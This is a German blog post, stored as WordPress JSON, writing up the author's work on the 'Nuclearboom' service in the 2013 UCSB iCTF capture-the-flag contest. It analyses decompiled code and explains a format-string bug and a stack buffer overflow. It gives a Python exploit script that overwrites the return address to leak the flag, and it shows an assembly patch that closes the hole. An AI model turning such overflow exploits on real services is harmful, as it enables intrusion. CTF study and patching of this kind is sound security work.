{"id":10,"date":"2013-04-14T15:23:34","date_gmt":"2013-04-14T13:23:34","guid":{"rendered":"http:\/\/jv-coder.de\/wordpress\/?p=10"},"modified":"2013-04-14T15:25:00","modified_gmt":"2013-04-14T13:25:00","slug":"usbf-ictf","status":"publish","type":"post","link":"https:\/\/jv-coder.de\/wordpress\/usbf-ictf\/","title":{"rendered":"USBF iCTF"},"content":{"rendered":"<p>Am 22. M\u00e4rz habe ich am <a href=\"http:\/\/ictf.cs.ucsb.edu\/\">USBF iCTF<\/a>, einem Capture the Flag Hackercontest teilgenommen. Den Teams wurden identische virtuelle Server gestellt, auf denen bestimmte Dienste liefen. F\u00fcr drei Bereiche gab es Punkte:<\/p>\n<ul>\n<li><strong>Angriff<\/strong>: Es ging darum in den Diensten Schwachstellen zu finden und Exploits zu schreiben, die diese Schwachstellen ausnutzen. Diese Exploits mussten eingereicht werden und wurden dann von der Wettbewerbsleitung gegen die Server der anderen Teams ausgef\u00fchrt. Die Exploits konnten entweder ein Flag (was nicht weiter definiert war, aber meistens ein leicht zu erkennendes Datum war) zu klauen oder den Dienst komplett lahmzulegen.<\/li>\n<li><strong>Verteidigung<\/strong>: Die in den Diensten gefundenen Schwachstellen sollten gepatched werden, damit die von den anderen Teams entwickelten Exploits nicht mehr funktionierten. Dabei darf sich das Verhalten der Dienste nach au\u00dfen nicht ver\u00e4ndern.<\/li>\n<li><strong>Erkennung<\/strong>: Angriffe von anderen Teams auf dem eigenen Server sollten erkannt werden.<\/li>\n<\/ul>\n<p>Ich habe w\u00e4hrend des Wettbewerbs einen Dienst analysiert. Dieser hie\u00df \"Nuclearboom\" und stellte ein Interface zur Verwaltung von Kernkraftwerken dar. Ich werde meine Arbeit an diesem Dienst in diesem Blogbeitrag beschreiben<!--more--><\/p>\n<p>Dieser Dienst besteht aus einem elf-Binary und zwei Textdateien. Zur Analyse des Binaries habe ich ida Pro verwendet. Ida ist ein Disassembler mit integriertem Decompiler, der einen Pseudo C-Code erzeugen kann, was die Analyse von Binaries stark erleichtert.<\/p>\n<p>Der Dienst beschreibt eine Liste von Nuklearkraftwerken mit Eigenschaften (oxygen, carbon, boron, zirconium und uranium level). Bei jeder aufgebauten Netzwerkverbindung werden 10 vordefinierte Kraftwerke erzeugt. Es k\u00f6nnen dann Kraftwerke angelegt, angeschaut und deren Eigenschaften (die Elementlevel) ver\u00e4ndert werden. Zus\u00e4tzlich kann nach Passworteingabe ein Selbstzerst\u00f6rungscode abgefragt oder gesetzt werden. Dieser Selbstzerst\u00f6rungscode ist das gesuchte Flag.<\/p>\n<p>Der grobe Ablauf des Dienstes ist wie folgt:<\/p>\n<ul>\n<li>Netzwerkverbindung annehmen (und fork erzeugen)<\/li>\n<li>Standardkraftwerke erzeugen (mit zuf\u00e4lligen Elementleveln)<\/li>\n<li>Men\u00fc anzeigen<\/li>\n<\/ul>\n<p>Das Men\u00fc sieht so aus:<\/p>\n<pre class=\"toolbar:2 nums:false nums-toggle:false lang:c++ highlight:0 decode:true\">1) build a new nuclear plant\r\n2) list existing nuclear plants\r\n3) display info of a nuclear plant\r\n4) edit an existing nuclear plant\r\n5) get self-destruction code\r\n6) set new self-destruction code\r\n7) exit<\/pre>\n<p>&nbsp;<\/p>\n<p>Ein Kraftwerk wird durch diese Struktur dargestellt (Die Zahlen geben das jeweilige Offset an):<\/p>\n<pre class=\"toolbar:2 lang:c++ decode:true\">struct Plant {               \/\/ Size: 112\r\n  char * name[100];\r\n  short oxygen;              \/\/ 100\r\n  short carbon;              \/\/ 102\r\n  short boron;               \/\/ 104\r\n  short zirconium;           \/\/ 106\r\n  short uranium;             \/\/ 108\r\n  short index;               \/\/ 110\r\n}<\/pre>\n<p>Die Liste der Kraftwerke einer Verbindung wird in der folgenden Struktur verwaltet:<\/p>\n<pre class=\"toolbar:2 lang:c++ decode:true\">struct Plants {\r\n  struct Plant plant[50];\r\n  int count;                \/\/5600\r\n}<\/pre>\n<p>Hier der Code der Funktion, die das Men\u00fc anzeigt:<\/p>\n<pre class=\"lang:c++ decode:true\">void handle_child() {\r\n  Plants plants;\r\n  int res;\r\n  int keep_running = 0;\r\n  init_plants(&amp;plants);\r\n\r\n  while (!keep_running) {\r\n    res = print_menu();\r\n    if (res == 1) {\r\n      handle_plant_creation(&amp;plants);\r\n    } else if {....\r\n    ....\r\n    } else if (res == t) {\r\n      return;\r\n    }\r\n  }\r\n}<\/pre>\n<p>Und hier noch der Codes des Men\u00fcpunktes \"build a new nuclear plant\":<\/p>\n<pre class=\"lang:c++ decode:true\">void handle_plant_creation (Plants *plants) {\r\n  char str[1024];\r\n\r\n  Plant *plant = &amp;plants[plants-&gt;count];\r\n\r\n  ask_for_string(\"Insert name: \", str, 112);\r\n  plant-&gt;index = plants-&gt;count;\r\n  plant-&gt;carbon = gen_random_num(150, 500);\r\n  plant-&gt;uranium = gen_random_num(150, 500);\r\n  ...\r\n  strcpy(plant-&gt;name, str);\r\n  if (check_element_levels(plant)) {\r\n    plants-&gt;count++;\r\n  }\r\n}<\/pre>\n<p>In dieser Funktion sind mindestens zwei Schwachstellen enthalten. Zun\u00e4chst sei gesagt, dass die Funktion \"ask_for_string(char* prompt, char* str, uint32_t len)\" genau das tut, was von ihr erwartet wird: Sie gibt den Text <em>prompt<\/em>\u00a0aus, und lie\u00dft maximal <em>len<\/em> Zeichen in den String <em>str<\/em>. Die Funktion \"check_element_levels\" pr\u00fcft, ob alle Element Level einen g\u00fcltigen Wert beinhalten (was bei normaler Ausf\u00fchrung durch das \"gen_random_num\", mit dem alle Element Level initialisiert werden, sichergestellt wird. Ist der Wert f\u00fcr Uranium in einem ung\u00fcltigen Bereich, wird unter anderem <span class=\"lang:c++ decode:true  crayon-inline\">printf(plant-&gt;name);<\/span> \u00a0ausgef\u00fchrt.<\/p>\n<p>Der erste Exploit dieser Funktion steckt in der Zeile 6. Wenn wir uns die Struktur Plant noch einmal betrachten, sehen wir, dass sie insgesamt 112 Bytes gro\u00df ist, der Name aber nur 100 Bytes lang ist. Das hei\u00dft, durch Eingabe des Namens k\u00f6nnen die sechs Elementlevel und der Index \u00fcberschrieben werden. Hiermit kann also auch der Wert f\u00fcr Uranium in einen ung\u00fcltigen Bereich gebracht werden. Zu beachten ist hier die Reihenfolge der Befehle zwischen Zeile 7 und 11. Es werden also erst die Elementlevel geschrieben und danach der Name in die Struktur kopiert, der dann wieder die Elementlevel \u00fcberschreiben kann. Mit dem Uranium Level in einem ung\u00fcltigen Bereich kann dann ausgenutzt werden, dass der Name direkt per printf ausgegeben wird. Diese Schwachstelle habe ich nicht selber gefunden, sondern ein anderes Mitglied unseres Teams. Einzelheiten zu der M\u00f6glichkeit printf so auszunutzen finden sich <a href=\"http:\/\/erdgeist.org\/arts\/software\/formatstring.pdf\" target=\"_blank\">hier<\/a>. Gepatched habe ich diese Schwachstelle aber trotzdem, das war hier auch sehr einfach, da nur die 112 in eine 100 ge\u00e4ndert werden musste. Es k\u00f6nnte aber sein, dass sich durch Ver\u00e4ndern der Elementlevel in \"edit an existing nuclear plant\" das <span class=\"lang:c++ decode:true  crayon-inline\">printf(plant-&gt;name);<\/span> trotzdem noch ausf\u00fchren l\u00e4sst.<\/p>\n<p>Die zweite Schwachstelle k\u00f6nnte dem aufmerksamen Leser bereits aufgefallen sein: Die Struktur Plants kann maximal 50 Kraftwerke aufnehmen, in der Funktion \"handle_plant_creation\" (und auch sonst nirgendwo) wird aber sichergestellt, dass nur 50 Plants existieren. Werden 51 Plants angelegt, wird also ein Bufferoverflow erzeugt. Da die Struktur Plants in der Funktion \"handle_child\" auf dem Stack angelegt wird, kann unter anderem die R\u00fccksprungadresse von \"handle_child\" manipuliert werden. Daf\u00fcr hier das (echte) Stacklayout (In Klammern wieder das Offset, hier relativ zu plants):<\/p>\n<pre wrap=\"\">plants        \/\/ 0\r\nres           \/\/ 5604\r\nkeep_runing   \/\/ 5608\r\n...           \/\/ 5612\r\nEBP           \/\/ 5632\r\nret           \/\/ 5636<\/pre>\n<p>Mein Ziel war es jetzt die R\u00fccksprungadresse so zu ver\u00e4ndern, dass sie in die Funktion zeigt, die den Selbstzerst\u00f6rungscode ausgibt (0x8049238). Das 51. Kraftwerk landet auf dem Stack an Offset 5600 (Das ist das Offset von Plants.count, also direkt hinter dem Plant-Array). Das erste Element von Plant ist der Name, der dann von Offset 5600 - 5700 reicht und somit die R\u00fccksprungadresse schon einschlie\u00dft. Die R\u00fccksprungadresse liegt zwischen Offset 5636 und 5640, oder 36-40 in Name des 51. Kraftwerks. Alles was nach ret auf dem Stack liegt und damit ebenfalls besch\u00e4digt wird, liegt (aufgrund der Stack-Architektur) im Callstack oberhalb von \"handle_child\". Da das Programm nach Ausgabe des Selbstzerst\u00f6rungscodes wahrscheinlich sowieso abst\u00fcrzt (Der Stackframe f\u00fcr die Funktion wurde ja gar nicht erstellt), ist das egal.<\/p>\n<p>Hier ist mein Exploitcode (Das Interface war vorgegeben):<\/p>\n<pre class=\"lang:python decode:true\">import socket\r\nimport sys\r\n\r\nclass Exploit():\r\n  def execute(self, ip, port, flag_id):\r\n    con = socket.create_connection((ip, port));\r\n\r\n    def wait_for(ma):\r\n    \"\"\"\r\n    Waits until the server send a specific string.\r\n    \"\"\"\r\n      data = \"\"\r\n      while 1:\r\n        b = con.recv(1)\r\n        data += b\r\n        #sys.stdout.write(b)\r\n        if data[-len(ma):] == ma: break\r\n      return data\r\n\r\n    wait_for(\"Your choice: \")  # Wait for first menu)\r\n\r\n    key_line  = \"\"\r\n    for i in xrange(41):          # Insert 41 plants (10 preexisting + 41 = 51)\r\n      con.send(\"1\\n\")\r\n      wait_for(\"Insert name: \")\r\n      if i == 40:\r\n        # Only send malicious code for last one (maybe a little harder to detect)\r\n        s = (\"a\" * 36) + (\"\\x38\\x92\\x04\\x08\")\r\n        con.send(s)\r\n      else:\r\n        con.send(\"Name\")\r\n      con.send(\"\\n\")\r\n      if i == 40:\r\n        # After the 41st insert the programm outputs the secret automatically\r\n        key_line = wait_for(\"Handle with care.\")\r\n      else:\r\n        wait_for(\"Your choice:\" ) # Wait for menu\r\n\r\n    # The uber-duber secret self-destruction code is: \"&lt;code&gt;\". Handle with care.\r\n    self.flag = key_line.split(\"\\\"\")[1]\r\n    con.close()\r\n\r\ndef result(self):\r\n    return {'FLAG': self.flag}<\/pre>\n<p>Um die Schwachstelle auszunutzen, m\u00fcssen 41 Kraftwerke angelegt werden, wobei das 41. im Namen ab dem 36. Byte die Zieladresse 0x8049238 besitzen muss. Danach wird die Funktion \"handle_child\" sich automatisch beenden, da ihre Variable <em>keep_running<\/em> ebenfalls (mit \"aaaa\" \u00fcberschrieben wurde. Dadurch erfolgt der R\u00fccksprung zur manipulierten Adresse und somit die Ausgabe des Selbstzerst\u00f6rungscodes.<\/p>\n<p>H\u00e4tte ich den Sourcecode gehabt w\u00e4re die Schwachstelle nat\u00fcrlich ganz einfach zu patchen gewesen. Hatte ich aber nicht, also musste ich auf Assemblerlevel patchen. Gl\u00fccklicherweise gab es am Anfang der Funktion \"handle_plant_creation\" eine Debugausgabe auf die lokale Konsole. Diese konnte ich entfernen und hatte damit genug Platz um eine Verzweigung einzubauen, die bei bereits 50 existierenden Kraftwerken direkt zum Funktionsende springt. F\u00fcr diesen Patch habe ich mit nasm das folgende St\u00fcck Assemblercode assembled:<\/p>\n<pre class=\"lang:asm decode:true\">bits 32\r\nmov eax, [ebp + 0x8]\r\nmov eax, [eax + 0x15e0]\r\ncmp eax, 50\r\njge $+1d1h<\/pre>\n<p>Das erste move holt sich die Speicheradresse von plants, das zweite entpackt daraus den count. Dann folgt ein Vergleich auf 50 und der bedingte relative Sprung zum Prolog. Besonders praktisch war hier, dass die beiden mov Befehle sowieso die n\u00e4chsten Befehle im Programm gewesen w\u00e4ren und der weiter Code dann den count in EAX erwartet. Der Patch ist gerade mal 18 Byte gro\u00df. Die Debugausgabe und die beiden mov Befehle waren zusammen 21 Byte gro\u00df. Mit 3 NOPs passte der Patch dort also gut rein.<\/p>\n<p>Das Binary habe ich unter Linux mit hte bearbeitet, das ist ein Consolen-Hex-Editor, mit integriertem Disassembler. Dadurch ist beim patchen gut zu \u00fcberpr\u00fcfen, ob die eingegeben Sequenz dem richtigen Assemblercode entspricht und wie viele NOPs ben\u00f6tigt werden. Bei einem gr\u00f6\u00dferen Patch w\u00fcrde ich mir wahrscheinlich ein anderes Tool suchen (oder schreiben), dass den von nasm erzeugten Code automatisch in das Binary einf\u00fcgt.<\/p>\n<p>Noch ein kleines Wort zu nasm: Ich hatte bei meinem ersten Versuch das bits 32 weggelassen, dadurch hat nasm 16 Bit Code erzeugt.<\/p>\n<p>Ich hoffe diese Informationen sind f\u00fcr den ein oder anderen Leser interessant.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Am 22. M\u00e4rz habe ich am USBF iCTF, einem Capture the Flag Hackercontest teilgenommen. Den Teams wurden identische virtuelle Server gestellt, auf denen bestimmte Dienste liefen. F\u00fcr drei Bereiche gab es Punkte: Angriff: Es ging darum in den Diensten Schwachstellen &hellip; <a href=\"https:\/\/jv-coder.de\/wordpress\/usbf-ictf\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,7],"tags":[10,9,11],"_links":{"self":[{"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/posts\/10"}],"collection":[{"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/comments?post=10"}],"version-history":[{"count":16,"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/posts\/10\/revisions"}],"predecessor-version":[{"id":28,"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/posts\/10\/revisions\/28"}],"wp:attachment":[{"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/media?parent=10"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/categories?post=10"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jv-coder.de\/wordpress\/wp-json\/wp\/v2\/tags?post=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}